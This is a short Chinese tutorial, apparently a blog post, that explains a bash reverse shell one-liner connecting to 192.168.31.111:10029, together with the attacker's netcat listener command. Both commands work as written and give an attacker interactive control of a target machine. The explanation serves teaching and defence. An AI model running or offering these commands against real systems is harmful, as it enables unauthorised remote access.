目的是让目标机器(执行这条命令的机器)主动连接到攻击者控制的服务器,从而让攻击者获得一个远程命令行 shell 控制权限。
解这个命令:bash -i >& /dev/tcp/192.168.31.111/10029 0>&1
-
bash -i-
bash: 启动 Bash shell。 -
-i参数:强制 Bash 以交互式(Interactive) 模式运行。这意味着它会提供一个提示符,并且可以接收用户输入,这是获得一个完整 shell 的前提。
-
-
>& /dev/tcp/192.168.31.111/10029-
这是整个命令的核心,利用了 Bash 的一个特性。
-
/dev/tcp/<IP>/<Port>:在 Linux 中,这是一个特殊的伪设备文件。当你对它进行读写操作时,Bash 实际上会在底层建立一个 TCP Socket 连接,而不是真正地去读写一个磁盘文件。 -
192.168.31.111:这是攻击者机器的 IP 地址。目标机器会尝试连接这个地址。 -
10029:这是攻击者机器上监听的端口。 -
>&:这是文件描述符重定向的简写,等同于&>。它的作用是将标准输出(stdout, 文件描述符1) 和标准错误(stderr, 文件描述符2) 都重定向到后面的目标。 -
所以,这部分的意思是:将 Bash 的所有输出和错误信息,都发送到与
192.168.31.111:10029建立的 TCP 网络连接中去。
-
-
0>&1-
0代表标准输入(stdin),即键盘输入。 -
1代表标准输出(stdout),即屏幕输出。 -
0>&1的意思是:将标准输入(0)重定向到标准输出(1)的当前位置。 -
由于上一步已经把标准输出(1)重定向到了网络 socket,所以现在标准输入(0)也会被重定向到同一个网络 socket。
-
整体效果:
执行这条命令后,目标机器上的 Bash 会:
-
主动与
192.168.31.111的10029端口建立 TCP 连接。 -
将这个网络连接既当作自己的“屏幕”(输出),也当作自己的“键盘”(输入)。
-
这样,在攻击者的机器上(
192.168.31.111),只要有一个程序在10029端口监听,就能收到这个连接,并获得一个完全交互式的 Bash shell,可以执行任何目标用户权限允许的命令。
攻击者需要做什么?
为了让这个反向 Shell 生效,攻击者必须提前在自己机器上(192.168.31.111)设置一个监听器(Listener)来接收这个连接。
最常用的工具是 netcat (通常简称 nc):
在攻击者机器上执行:
nc -lvnp 10029
-l: 监听模式
-v: 显示详细信息
-n: 不解析域名
-p 10029: 指定监听端口
执行此命令后,netcat 会等待传入的连接,一旦目标执行了那条反向 Shell 命令,netcat 就会接收到连接,攻击者就获得了 shell。
1347

被折叠的 条评论
为什么被折叠?



